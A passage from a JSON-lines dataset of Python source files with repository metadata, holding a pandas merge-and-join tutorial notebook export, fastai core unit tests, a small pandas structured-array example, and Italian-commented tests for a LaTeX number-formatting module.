"max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.375, "max_line_length": 80, "alphanum_fraction": 0.628975265, "include": true, "reason": "import numpy", "num_tokens": 69, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4649015713733884, "lm_q2_score": 0.13296422989056964, "lm_q1q2_score": 0.06181527941257828}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"03.07-Merge-and-Join.ipynb\n\nAutomatically generated by Colaboratory.\n\nOriginal file is located at\n    https://colab.research.google.com/github/jakevdp/PythonDataScienceHandbook/blob/master/notebooks/03.07-Merge-and-Join.ipynb\n\n<!--BOOK_INFORMATION-->\n<img align=\"left\" style=\"padding-right:10px;\" src=\"https://github.com/jakevdp/PythonDataScienceHandbook/blob/master/notebooks/figures/PDSH-cover-small.png?raw=1\">\n\n*This notebook contains an excerpt from the [Python Data Science Handbook](http://shop.oreilly.com/product/0636920034919.do) by Jake VanderPlas; the content is available [on GitHub](https://github.com/jakevdp/PythonDataScienceHandbook).*\n\n*The text is released under the [CC-BY-NC-ND license](https://creativecommons.org/licenses/by-nc-nd/3.0/us/legalcode), and code is released under the [MIT license](https://opensource.org/licenses/MIT). If you find this content useful, please consider supporting the work by [buying the book](http://shop.oreilly.com/product/0636920034919.do)!*\n\n<!--NAVIGATION-->\n< [Combining Datasets: Concat and Append](03.06-Concat-And-Append.ipynb) | [Contents](Index.ipynb) | [Aggregation and Grouping](03.08-Aggregation-and-Grouping.ipynb) >\n\n<a href=\"https://colab.research.google.com/github/jakevdp/PythonDataScienceHandbook/blob/master/notebooks/03.07-Merge-and-Join.ipynb\"><img align=\"left\" src=\"https://colab.research.google.com/assets/colab-badge.svg\" alt=\"Open in Colab\" title=\"Open and Execute in Google Colaboratory\"></a>\n\n# Combining Datasets: Merge and Join\n\nOne essential feature offered by Pandas is its high-performance, in-memory join and merge operations.\nIf you have ever worked with databases, you should be familiar with this type of data interaction.\nThe main interface for this is the ``pd.merge`` function, and we'll see few examples of how this can work in practice.\n\nFor convenience, we will start by redefining the ``display()`` functionality from the previous section:\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\n\nclass display(object):\n    \"\"\"Display HTML representation of multiple objects\"\"\"\n    template = \"\"\"<div style=\"float: left; padding: 10px;\">\n    <p style='font-family:\"Courier New\", Courier, monospace'>{0}</p>{1}\n    </div>\"\"\"\n    def __init__(self, *args):\n        self.args = args\n        \n    def _repr_html_(self):\n        return '\\n'.join(self.template.format(a, eval(a)._repr_html_())\n                         for a in self.args)\n    \n    def __repr__(self):\n        return '\\n\\n'.join(a + '\\n' + repr(eval(a))\n                           for a in self.args)\n\n\"\"\"## Relational Algebra\n\nThe behavior implemented in ``pd.merge()`` is a subset of what is known as *relational algebra*, which is a formal set of rules for manipulating relational data, and forms the conceptual foundation of operations available in most databases.\nThe strength of the relational algebra approach is that it proposes several primitive operations, which become the building blocks of more complicated operations on any dataset.\nWith this lexicon of fundamental operations implemented efficiently in a database or other program, a wide range of fairly complicated composite operations can be performed.\n\nPandas implements several of these fundamental building-blocks in the ``pd.merge()`` function and the related ``join()`` method of ``Series`` and ``Dataframe``s.\nAs we will see, these let you efficiently link data from different sources.\n\n## Categories of Joins\n\nThe ``pd.merge()`` function implements a number of types of joins: the *one-to-one*, *many-to-one*, and *many-to-many* joins.\nAll three types of joins are accessed via an identical call to the ``pd.merge()`` interface; the type of join performed depends on the form of the input data.\nHere we will show simple examples of the three types of merges, and discuss detailed options further below.\n\n### One-to-one joins\n\nPerhaps the simplest type of merge expresion is the one-to-one join, which is in many ways very similar to the column-wise concatenation seen in [Combining Datasets: Concat & Append](03.06-Concat-And-Append.ipynb).\nAs a concrete example, consider the following two ``DataFrames`` which contain information on several employees in a company:\n\"\"\"\n\ndf1 = pd.DataFrame({'employee': ['Bob', 'Jake', 'Lisa', 'Sue'],\n                    'group': ['Accounting', 'Engineering', 'Engineering', 'HR']})\ndf2 = pd.DataFrame({'employee': ['Lisa', 'Bob', 'Jake', 'Sue'],\n                    'hire_date': [2004, 2008, 2012, 2014]})\ndisplay('df1', 'df2')\n\n\"\"\"To combine this information into a single ``DataFrame``, we can use the ``pd.merge()`` function:\"\"\"\n\ndf3 = pd.merge(df1, df2)\ndf3\n\n\"\"\"The ``pd.merge()`` function recognizes that each ``DataFrame`` has an \"employee\" column, and automatically joins using this column as a key.\nThe result of the merge is a new ``DataFrame`` that combines the information from the two inputs.\nNotice that the order of entries in each column is not necessarily maintained: in this case, the order of the \"employee\" column differs between ``df1`` and ``df2``, and the ``pd.merge()`` function correctly accounts for this.\nAdditionally, keep in mind that the merge in general discards the index, except in the special case of merges by index (see the ``left_index`` and ``right_index`` keywords, discussed momentarily).\n\n### Many-to-one joins\n\nMany-to-one joins are joins in which one of the two key columns contains duplicate entries.\nFor the many-to-one case, the resulting ``DataFrame`` will preserve those duplicate entries as appropriate.\nConsider the following example of a many-to-one join:\n\"\"\"\n\ndf4 = pd.DataFrame({'group': ['Accounting', 'Engineering', 'HR'],\n                    'supervisor': ['Carly', 'Guido', 'Steve']})\ndisplay('df3', 'df4', 'pd.merge(df3, df4)')\n\n\"\"\"The resulting ``DataFrame`` has an aditional column with the \"supervisor\" information, where the information is repeated in one or more locations as required by the inputs.\n\n### Many-to-many joins\n\nMany-to-many joins are a bit confusing conceptually, but are nevertheless well defined.\nIf the key column in both the left and right array contains duplicates, then the result is a many-to-many merge.\nThis will be perhaps most clear with a concrete example.\nConsider the following, where we have a ``DataFrame`` showing one or more skills associated with a particular group.\nBy performing a many-to-many join, we can recover the skills associated with any individual person:\n\"\"\"\n\ndf5 = pd.DataFrame({'group': ['Accounting', 'Accounting',\n                              'Engineering', 'Engineering', 'HR', 'HR'],\n                    'skills': ['math', 'spreadsheets', 'coding', 'linux',\n                               'spreadsheets', 'organization']})\ndisplay('df1', 'df5', \"pd.merge(df1, df5)\")\n\n\"\"\"These three types of joins can be used with other Pandas tools to implement a wide array of functionality.\nBut in practice, datasets are rarely as clean as the one we're working with here.\nIn the following section we'll consider some of the options provided by ``pd.merge()`` that enable you to tune how the join operations work.\n\n## Specification of the Merge Key\n\nWe've already seen the default behavior of ``pd.merge()``: it looks for one or more matching column names between the two inputs, and uses this as the key.\nHowever, often the column names will not match so nicely, and ``pd.merge()`` provides a variety of options for handling this.\n\n### The ``on`` keyword\n\nMost simply, you can explicitly specify the name of the key column using the ``on`` keyword, which takes a column name or a list of column names:\n\"\"\"\n\ndisplay('df1', 'df2', \"pd.merge(df1, df2, on='employee')\")\n\n\"\"\"This option works only if both the left and right ``DataFrame``s have the specified column name.\n\n### The ``left_on`` and ``right_on`` keywords\n\nAt times you may wish to merge two datasets with different column names; for example, we may have a dataset in which the employee name is labeled as \"name\" rather than \"employee\".\nIn this case, we can use the ``left_on`` and ``right_on`` keywords to specify the two column names:\n\"\"\"\n\ndf3 = pd.DataFrame({'name': ['Bob', 'Jake', 'Lisa', 'Sue'],\n                    'salary': [70000, 80000, 120000, 90000]})\ndisplay('df1', 'df3', 'pd.merge(df1, df3, left_on=\"employee\", right_on=\"name\")')\n\n\"\"\"The result has a redundant column that we can drop if desired\u2013for example, by using the ``drop()`` method of ``DataFrame``s:\"\"\"\n\npd.merge(df1, df3, left_on=\"employee\", right_on=\"name\").drop('name', axis=1)\n\n\"\"\"### The ``left_index`` and ``right_index`` keywords\n\nSometimes, rather than merging on a column, you would instead like to merge on an index.\nFor example, your data might look like this:\n\"\"\"\n\ndf1a = df1.set_index('employee')\ndf2a = df2.set_index('employee')\ndisplay('df1a', 'df2a')\n\n\"\"\"You can use the index as the key for merging by specifying the ``left_index`` and/or ``right_index`` flags in ``pd.merge()``:\"\"\"\n\ndisplay('df1a', 'df2a',\n        \"pd.merge(df1a, df2a, left_index=True, right_index=True)\")\n\n\"\"\"For convenience, ``DataFrame``s implement the ``join()`` method, which performs a merge that defaults to joining on indices:\"\"\"\n\ndisplay('df1a', 'df2a', 'df1a.join(df2a)')\n\n\"\"\"If you'd like to mix indices and columns, you can combine ``left_index`` with ``right_on`` or ``left_on`` with ``right_index`` to get the desired behavior:\"\"\"\n\ndisplay('df1a', 'df3', \"pd.merge(df1a, df3, left_index=True, right_on='name')\")\n\n\"\"\"All of these options also work with multiple indices and/or multiple columns; the interface for this behavior is very intuitive.\nFor more information on this, see the [\"Merge, Join, and Concatenate\" section](http://pandas.pydata.org/pandas-docs/stable/merging.html) of the Pandas documentation.\n\n## Specifying Set Arithmetic for Joins\n\nIn all the preceding examples we have glossed over one important consideration in performing a join: the type of set arithmetic used in the join.\nThis comes up when a value appears in one key column but not the other. Consider this example:\n\"\"\"\n\ndf6 = pd.DataFrame({'name': ['Peter', 'Paul', 'Mary'],\n                    'food': ['fish', 'beans', 'bread']},\n                   columns=['name', 'food'])\ndf7 = pd.DataFrame({'name': ['Mary', 'Joseph'],\n                    'drink': ['wine', 'beer']},\n                   columns=['name', 'drink'])\ndisplay('df6', 'df7', 'pd.merge(df6, df7)')\n\n\"\"\"Here we have merged two datasets that have only a single \"name\" entry in common: Mary.\nBy default, the result contains the *intersection* of the two sets of inputs; this is what is known as an *inner join*.\nWe can specify this explicitly using the ``how`` keyword, which defaults to ``\"inner\"``:\n\"\"\"\n\npd.merge(df6, df7, how='inner')\n\n\"\"\"Other options for the ``how`` keyword are ``'outer'``, ``'left'``, and ``'right'``.\nAn *outer join* returns a join over the union of the input columns, and fills in all missing values with NAs:\n\"\"\"\n\ndisplay('df6', 'df7', \"pd.merge(df6, df7, how='outer')\")\n\n\"\"\"The *left join* and *right join* return joins over the left entries and right entries, respectively.\nFor example:\n\"\"\"\n\ndisplay('df6', 'df7', \"pd.merge(df6, df7, how='left')\")\n\n\"\"\"The output rows now correspond to the entries in the left input. Using\n``how='right'`` works in a similar manner.\n\nAll of these options can be applied straightforwardly to any of the preceding join types.\n\n## Overlapping Column Names: The ``suffixes`` Keyword\n\nFinally, you may end up in a case where your two input ``DataFrame``s have conflicting column names.\nConsider this example:\n\"\"\"\n\ndf8 = pd.DataFrame({'name': ['Bob', 'Jake', 'Lisa', 'Sue'],\n                    'rank': [1, 2, 3, 4]})\ndf9 = pd.DataFrame({'name': ['Bob', 'Jake', 'Lisa', 'Sue'],\n                    'rank': [3, 1, 4, 2]})\ndisplay('df8', 'df9', 'pd.merge(df8, df9, on=\"name\")')\n\n\"\"\"Because the output would have two conflicting column names, the merge function automatically appends a suffix ``_x`` or ``_y`` to make the output columns unique.\nIf these defaults are inappropriate, it is possible to specify a custom suffix using the ``suffixes`` keyword:\n\"\"\"\n\ndisplay('df8', 'df9', 'pd.merge(df8, df9, on=\"name\", suffixes=[\"_L\", \"_R\"])')\n\n\"\"\"These suffixes work in any of the possible join patterns, and work also if there are multiple overlapping columns.\n\nFor more information on these patterns, see [Aggregation and Grouping](03.08-Aggregation-and-Grouping.ipynb) where we dive a bit deeper into relational algebra.\nAlso see the [Pandas \"Merge, Join and Concatenate\" documentation](http://pandas.pydata.org/pandas-docs/stable/merging.html) for further discussion of these topics.\n\n## Example: US States Data\n\nMerge and join operations come up most often when combining data from different sources.\nHere we will consider an example of some data about US states and their populations.\nThe data files can be found at http://github.com/jakevdp/data-USstates/:\n\"\"\"\n\n# Following are shell commands to download the data\n# !curl -O https://raw.githubusercontent.com/jakevdp/data-USstates/master/state-population.csv\n# !curl -O https://raw.githubusercontent.com/jakevdp/data-USstates/master/state-areas.csv\n# !curl -O https://raw.githubusercontent.com/jakevdp/data-USstates/master/state-abbrevs.csv\n\n\"\"\"Let's take a look at the three datasets, using the Pandas ``read_csv()`` function:\"\"\"\n\npop = pd.read_csv('data/state-population.csv')\nareas = pd.read_csv('data/state-areas.csv')\nabbrevs = pd.read_csv('data/state-abbrevs.csv')\n\ndisplay('pop.head()', 'areas.head()', 'abbrevs.head()')\n\n\"\"\"Given this information, say we want to compute a relatively straightforward result: rank US states and territories by their 2010 population density.\nWe clearly have the data here to find this result, but we'll have to combine the datasets to find the result.\n\nWe'll start with a many-to-one merge that will give us the full state name within the population ``DataFrame``.\nWe want to merge based on the ``state/region``  column of ``pop``, and the ``abbreviation`` column of ``abbrevs``.\nWe'll use ``how='outer'`` to make sure no data is thrown away due to mismatched labels.\n\"\"\"\n\nmerged = pd.merge(pop, abbrevs, how='outer',\n                  left_on='state/region', right_on='abbreviation')\nmerged = merged.drop('abbreviation', 1) # drop duplicate info\nmerged.head()\n\n\"\"\"Let's double-check whether there were any mismatches here, which we can do by looking for rows with nulls:\"\"\"\n\nmerged.isnull().any()\n\n\"\"\"Some of the ``population`` info is null; let's figure out which these are!\"\"\"\n\nmerged[merged['population'].isnull()].head()\n\n\"\"\"It appears that all the null population values are from Puerto Rico prior to the year 2000; this is likely due to this data not being available from the original source.\n\nMore importantly, we see also that some of the new ``state`` entries are also null, which means that there was no corresponding entry in the ``abbrevs`` key!\nLet's figure out which regions lack this match:\n\"\"\"\n\nmerged.loc[merged['state'].isnull(), 'state/region'].unique()\n\n\"\"\"We can quickly infer the issue: our population data includes entries for Puerto Rico (PR) and the United States as a whole (USA), while these entries do not appear in the state abbreviation key.\nWe can fix these quickly by filling in appropriate entries:\n\"\"\"\n\nmerged.loc[merged['state/region'] == 'PR', 'state'] = 'Puerto Rico'\nmerged.loc[merged['state/region'] == 'USA', 'state'] = 'United States'\nmerged.isnull().any()\n\n\"\"\"No more nulls in the ``state`` column: we're all set!\n\nNow we can merge the result with the area data using a similar procedure.\nExamining our results, we will want to join on the ``state`` column in both:\n\"\"\"\n\nfinal = pd.merge(merged, areas, on='state', how='left')\nfinal.head()\n\n\"\"\"Again, let's check for nulls to see if there were any mismatches:\"\"\"\n\nfinal.isnull().any()\n\n\"\"\"There are nulls in the ``area`` column; we can take a look to see which regions were ignored here:\"\"\"\n\nfinal['state'][final['area (sq. mi)'].isnull()].unique()\n\n\"\"\"We see that our ``areas`` ``DataFrame`` does not contain the area of the United States as a whole.\nWe could insert the appropriate value (using the sum of all state areas, for instance), but in this case we'll just drop the null values because the population density of the entire United States is not relevant to our current discussion:\n\"\"\"\n\nfinal.dropna(inplace=True)\nfinal.head()\n\n\"\"\"Now we have all the data we need. To answer the question of interest, let's first select the portion of the data corresponding with the year 2000, and the total population.\nWe'll use the ``query()`` function to do this quickly (this requires the ``numexpr`` package to be installed; see [High-Performance Pandas: ``eval()`` and ``query()``](03.12-Performance-Eval-and-Query.ipynb)):\n\"\"\"\n\ndata2010 = final.query(\"year == 2010 & ages == 'total'\")\ndata2010.head()\n\n\"\"\"Now let's compute the population density and display it in order.\nWe'll start by re-indexing our data on the state, and then compute the result:\n\"\"\"\n\ndata2010.set_index('state', inplace=True)\ndensity = data2010['population'] / data2010['area (sq. mi)']\n\ndensity.sort_values(ascending=False, inplace=True)\ndensity.head()\n\n\"\"\"The result is a ranking of US states plus Washington, DC, and Puerto Rico in order of their 2010 population density, in residents per square mile.\nWe can see that by far the densest region in this dataset is Washington, DC (i.e., the District of Columbia); among states, the densest is New Jersey.\n\nWe can also check the end of the list:\n\"\"\"\n\ndensity.tail()\n\n\"\"\"We see that the least dense state, by far, is Alaska, averaging slightly over one resident per square mile.\n\nThis type of messy data merging is a common task when trying to answer questions using real-world data sources.\nI hope that this example has given you an idea of the ways you can combine tools we've covered in order to gain insight from your data!\n\n<!--NAVIGATION-->\n< [Combining Datasets: Concat and Append](03.06-Concat-And-Append.ipynb) | [Contents](Index.ipynb) | [Aggregation and Grouping](03.08-Aggregation-and-Grouping.ipynb) >\n\n<a href=\"https://colab.research.google.com/github/jakevdp/PythonDataScienceHandbook/blob/master/notebooks/03.07-Merge-and-Join.ipynb\"><img align=\"left\" src=\"https://colab.research.google.com/assets/colab-badge.svg\" alt=\"Open in Colab\" title=\"Open and Execute in Google Colaboratory\"></a>\n\"\"\"\n", "meta": {"hexsha": "266bb469c1bd06ac8e1237807dda947ae69991f1", "size": 18324, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/merge_and_join.py", "max_stars_repo_name": "sebawild/cpython", "max_stars_repo_head_hexsha": "874ba1a9c948af33de2ad229df42e03dc516f0a8", "max_stars_repo_licenses": ["0BSD"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "examples/merge_and_join.py", "max_issues_repo_name": "sebawild/cpython", "max_issues_repo_head_hexsha": "874ba1a9c948af33de2ad229df42e03dc516f0a8", "max_issues_repo_licenses": ["0BSD"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2022-03-09T11:14:07.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T14:07:47.000Z", "max_forks_repo_path": "examples/merge_and_join.py", "max_forks_repo_name": "sebawild/cpython", "max_forks_repo_head_hexsha": "874ba1a9c948af33de2ad229df42e03dc516f0a8", "max_forks_repo_licenses": ["0BSD"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 52.5042979943, "max_line_length": 343, "alphanum_fraction": 0.718020083, "include": true, "reason": "import numpy", "num_tokens": 4455, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.31742627850202554, "lm_q2_score": 0.19436780635202988, "lm_q1q2_score": 0.061697449430927205}}
{"text": "import pytest, torch\nimport numpy as np\nfrom fastai import core\nfrom unittest import mock\nfrom unittest.mock import Mock\n\ndef test_sum_geom():\n    assert core.sum_geom(1, 1, 1) == 1\n    assert core.sum_geom(1, 1, 3) == 3\n    assert core.sum_geom(3, 10, 4) == 3333\n    assert core.sum_geom(0, 2, 3) == 0\n    assert core.sum_geom(1, 0, 3) == 1\n    assert core.sum_geom(1, 2, 0) == 0\n\ndef test_map_none():\n  def fn(x): return x\n  assert core.map_none(None, fn) == None\n  assert core.map_none(\"not none\", fn) == \"not none\"\n\ndef test_delistify():\n  assert core.delistify([1]) == 1\n  assert core.delistify((1)) == 1\n  assert core.delistify(\"non list\") == \"non list\"\n  assert core.delistify(object) == object\n\n  with pytest.raises(IndexError):\n    assert core.delistify([])\n\ndef test_datafy():\n  x = Mock(data={})\n  assert core.datafy(x) == {}\n  assert core.datafy([x]) == [{}]\n  assert core.datafy([x, x]) == [{}, {}]\n\n@mock.patch(\"fastai.core.torch.cuda.HalfTensor\")\ndef test_T(HalfTensorMock):\n  tensor = torch.ones([1, 2])\n  assert core.T(tensor) is tensor\n\n  array = np.arange(0, 5)\n  assert core.T(array.astype(np.int)).type() == \"torch.LongTensor\"\n  assert core.T(array.astype(np.float)).type() == \"torch.FloatTensor\"\n\n  core.T(array.astype(np.float), half=True)\n  HalfTensorMock.assert_called_once()\n\n  with pytest.raises(NotImplementedError):\n    assert core.T(array.astype(np.object))\n\ndef test_create_variable_passing_Variable_object():\n  v = torch.autograd.Variable(core.T(np.arange(0, 3)))\n  assert core.create_variable(v, volatile=True) is v\n\n@mock.patch(\"fastai.core.Variable\")\ndef test_create_variable(VariableMock):\n  v = np.arange(0, 3)\n\n  with mock.patch(\"fastai.core.IS_TORCH_04\", True):\n    core.create_variable(v, volatile=True)\n    assert VariableMock.call_args[1] == {\"requires_grad\": False}\n  \n  with mock.patch(\"fastai.core.IS_TORCH_04\", False):\n    core.create_variable(v, volatile=True)\n    assert VariableMock.call_args[1] == {\"requires_grad\": False, \"volatile\": True}\n\n@mock.patch(\"fastai.core.create_variable\")\ndef test_V_(create_variable_mock):\n  core.V_(\"foo\")\n\n  create_variable_mock.assert_called_with('foo', requires_grad=False, volatile=False)\n\n@mock.patch(\"fastai.core.map_over\")\ndef test_V(map_over_mock):\n  core.V(\"foo\")\n\n  assert map_over_mock.call_args[0][0] == 'foo'\n  assert type(map_over_mock.call_args[0][1]) == type(lambda:0)\n\ndef test_to_np():\n  array = np.arange(0, 3).astype(np.float)\n  assert core.to_np(array) is array\n\n  tensor = core.T(array)\n  result = core.to_np([tensor, tensor])\n  np.testing.assert_equal(result[0], array)\n  np.testing.assert_equal(result[1], array)\n\n  variable = core.V(array)\n  np.testing.assert_equal(core.to_np(variable), array)\n\ndef test_noop():\n  assert core.noop() is None\n\ndef test_partition_functionality():\n\n  def test_partition(a, sz, ex):\n    result = core.partition(a, sz)\n    assert len(result) == len(ex)\n    assert all([a == b for a, b in zip(result, ex)])\n\n  a = [1,2,3,4,5]\n  \n  sz = 2\n  ex = [[1,2],[3,4],[5]]\n  test_partition(a, sz, ex)\n\n  sz = 3\n  ex = [[1,2,3],[4,5]]\n  test_partition(a, sz, ex)\n\n  sz = 1\n  ex = [[1],[2],[3],[4],[5]]\n  test_partition(a, sz, ex)\n\n  sz = 6\n  ex = [[1,2,3,4,5]]\n  test_partition(a, sz, ex)\n\n  sz = 3\n  a = []\n  result = core.partition(a, sz)\n  assert len(result) == 0\n\n\ndef test_partition_error_handling():\n  sz = 0\n  a = [1,2,3,4,5]\n  with pytest.raises(ValueError):\n    core.partition(a, sz)\n\n\ndef test_split_by_idxs_functionality():\n\n  seq = [1,2,3,4,5,6]\n  \n  def test_split_by_idxs(seq, idxs, ex):\n    test_result = []\n    for item in core.split_by_idxs(seq, idxs):\n      test_result.append(item)\n    \n    assert len(test_result) == len(ex)\n    assert all([a == b for a,b in zip(test_result, ex)])\n  \n  idxs = [2]\n  ex = [[1,2],[3,4,5,6]]\n\n  test_split_by_idxs(seq, idxs, ex)\n  \n  idxs = [1,2]\n  ex = [[1],[2],[3,4,5,6]]\n  test_split_by_idxs(seq, idxs, ex)\n\n  idxs = [2,4,5]\n  ex = [[1,2],[3,4],[5],[6]]\n  test_split_by_idxs(seq, idxs, ex)\n\n  idxs = []\n  ex = [[1,2,3,4,5,6]]\n  test_split_by_idxs(seq, idxs, ex)\n\n\ndef test_split_by_idxs_error_handling():\n  seq = [1,2,3,4]\n  idxs = [5]\n\n  gen = core.split_by_idxs(seq, idxs)\n  with pytest.raises(KeyError):\n    next(gen)", "meta": {"hexsha": "fc1a30b3010fc2d656ad39db7840e11d64e7db5b", "size": 4197, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_core.py", "max_stars_repo_name": "zetayue/fastai", "max_stars_repo_head_hexsha": "db5ae8688c720444ec670e66492cfa6e30b06c4c", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/test_core.py", "max_issues_repo_name": "zetayue/fastai", "max_issues_repo_head_hexsha": "db5ae8688c720444ec670e66492cfa6e30b06c4c", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/test_core.py", "max_forks_repo_name": "zetayue/fastai", "max_forks_repo_head_hexsha": "db5ae8688c720444ec670e66492cfa6e30b06c4c", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.9821428571, "max_line_length": 85, "alphanum_fraction": 0.6568977841, "include": true, "reason": "import numpy", "num_tokens": 1320, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44552953503957266, "lm_q2_score": 0.13846178523628042, "lm_q1q2_score": 0.061688814797069176}}
{"text": "import pandas as pd\nimport numpy as np\n\n# This case is handled identically to a dict of arrays.\ndata = np.zeros(shape=(2,), dtype=[('A', 'i4'), ('B', 'f4'), ('C', 'a10')])\ndata[:] = [(1, 2, 'Hello'), (3., 4., \"World\")]\ndf = pd.DataFrame(data=data)\nprint(\"DataFrame from Structured array : \")\n# we get third column output as byte\nprint(df)\ndf = pd.DataFrame(data=data, index=['first', 'second'])\nprint(\"DataFrame from Structured array with index : \")\nprint(df)\npd.DataFrame(data, index=['first', 'second'], columns=['C', 'A', 'B'])\nprint(\"DataFrame from Structured array with index and columns : \")\n# DataFrame is not intended to work exactly like a 2-dimensional NumPy ndarray.\nprint(df)", "meta": {"hexsha": "cc21efe046f83e051fed5ec241e2fdaaa3ff6e4f", "size": 687, "ext": "py", "lang": "Python", "max_stars_repo_path": "python-pandas/Python_Pandas/dataframe/CreateDfFromStructuredArray.py", "max_stars_repo_name": "theumang100/tutorials-1", "max_stars_repo_head_hexsha": "497f54c2adb022c316530319a168fca1c007d4b1", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 9, "max_stars_repo_stars_event_min_datetime": "2020-04-23T05:24:19.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-17T16:37:51.000Z", "max_issues_repo_path": "python-pandas/Python_Pandas/dataframe/CreateDfFromStructuredArray.py", "max_issues_repo_name": "theumang100/tutorials-1", "max_issues_repo_head_hexsha": "497f54c2adb022c316530319a168fca1c007d4b1", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 5, "max_issues_repo_issues_event_min_datetime": "2020-10-01T05:08:37.000Z", "max_issues_repo_issues_event_max_datetime": "2020-10-12T03:18:10.000Z", "max_forks_repo_path": "python-pandas/Python_Pandas/dataframe/CreateDfFromStructuredArray.py", "max_forks_repo_name": "theumang100/tutorials-1", "max_forks_repo_head_hexsha": "497f54c2adb022c316530319a168fca1c007d4b1", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 9, "max_forks_repo_forks_event_min_datetime": "2020-04-28T14:06:41.000Z", "max_forks_repo_forks_event_max_datetime": "2021-10-19T18:32:28.000Z", "avg_line_length": 40.4117647059, "max_line_length": 79, "alphanum_fraction": 0.673944687, "include": true, "reason": "import numpy", "num_tokens": 185, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.12421301321508334, "lm_q1q2_score": 0.06162130939599263}}
{"text": "# File di testing per le funzioni di texpy\n\nimport texpy as tp\nimport numpy as np\nimport unittest\n\n\nclass TestSum(unittest.TestCase):\n# Non testo con matrici o vettori le funzioni vettorizzate in quanto si suppone\n# che numpy faccia il suo lavoro bene\n    def test_notazione_scientifica(self):\n        self.assertEqual(tp.ns(123), \"$1.23 \\\\times 10^{2}$\")\n        self.assertEqual(tp.ns(12.3), \"$1.23 \\\\times 10^{1}$\")\n        self.assertEqual(tp.ns(382387e-13), \"$3.82 \\\\times 10^{-8}$\")\n        self.assertEqual(tp.ns(382387e-13, 1e-13), \"$382387 \\\\times 10^{-13}$\")\n        self.assertEqual(tp.ns(382387e-13, 1e4), \"$0.000000000004 \\\\times 10^{4}$\")\n        self.assertEqual(tp.ns(123, 1, 1), \"$123$\")\n        self.assertEqual(tp.ns(123, 10, 1), \"$12.3 \\\\times 10^{1}$\")\n        self.assertEqual(tp.ns(382387e-13, nult=1e-9), \"$3.8 \\\\times 10^{-8}$\")\n        self.assertEqual(tp.ns(382387e14, nult=1e24), \"$4 \\\\times 10^{19}$\")\n        self.assertEqual(tp.ns(382387e14, nult=1e4), \"$3.823870000000000 \\\\times 10^{19}$\")\n        self.assertEqual(tp.ns(382387e14, 1e20), \"$0.4 \\\\times 10^{20}$\")\n        print(\"TEST FUNZIONE NOTAZIONE SCIENTIFICA PASSATI\")\n\n    def test_numero_errore(self):\n        self.assertEqual(tp.ne(1, 0.2), \"$1.0 \\\\pm 0.2$\")\n        self.assertEqual(tp.ne(1, 20), \"$<2 \\\\times 10^{1}$\")\n        self.assertEqual(tp.ne(1.987987, 0.2), \"$2.0 \\\\pm 0.2$\")\n        self.assertEqual(tp.ne(123, 2, unit=\"F\"), \"$(123 \\\\pm 2)$F\")\n        self.assertEqual(tp.ne(123e-1, 2, \"F\"), \"$(12 \\\\pm 2)$F\")\n        self.assertEqual(tp.ne(123e-2, 2, \"F\"), \"$<2$F\")\n        self.assertEqual(tp.ne(123e-2, 2e-5, \"F\"), \"$(1.23000 \\\\pm 0.00002)$F\")\n        self.assertEqual(tp.ne(123e-3, 2e-5, \"F\"), \"$(123.00 \\\\pm 0.02)$mF\")\n        #self.assertEqual(tp.ne(0, 0, unit=\"F\"), \"$(0 \\\\pm 0)$F\")\n        print(\"\\tTEST FUNZIONE NUMERO ERRORE PASSATI\")\n    \n    def  test_nes(self):\n        args = [12e-9, 65, 98e9, 64543]\n        output = [\"$1.20 \\\\times 10^{-8}$\", \"$6.50 \\\\times 10^{1}$\", \"$9.80 \\\\times 10^{10}$\", \"$6.45 \\\\times 10^{4}$\"]\n        for i in range(len(args)):\n            self.assertEqual(tp.nes(args[i]), output[i])\n        \n        args = [[12.675765e-9, 1e-6], [65.82736, 10], [98.827368e9, 1e1]]\n        output = [[0, '$1 \\\\times 10^{-6}$'],\n            [\"$7 \\\\times 10^{1}$\", \"$1 \\\\times 10^{1}$\"], \n            [\"$9.882736800 \\\\times 10^{10}$\", \"$0.000000001 \\\\times 10^{10}$\"]]\n        for i in range(len(args)):\n            temp = tp.nes(*args[i])\n            for j in range(len(temp)):\n                self.assertEqual(temp[j], output[i][j])\n        \n        args = [[12.675765e-9, 1e-6, \"F\"], [65.82736, None, \"F\"], [98.827368e9, 1e1, \"F\"]]\n        output = [(np.array([0]), np.array([\"$1$\\\\mu F\"])),\n            np.array([\"$66$F\"]),\n            (np.array(['$98.82736800$GF']), np.array(['$0.00000001$GF']))]\n        for i in range(len(args)):\n            self.assertEqual(tp.nes(*args[i]), output[i])\n        print(\"\\tTEST FUNZIONE NES PASSATI\")\n    \n    # Per la funzione matrice latex non ho scritto un codice di testing\n    # perch\u00e8 restituisce un output molto lungo\n            \n        \nif __name__ == '__main__':\n    unittest.main()", "meta": {"hexsha": "89d7b9b73dc35f9808690fbc3b7c19fc19030ecf", "size": 3162, "ext": "py", "lang": "Python", 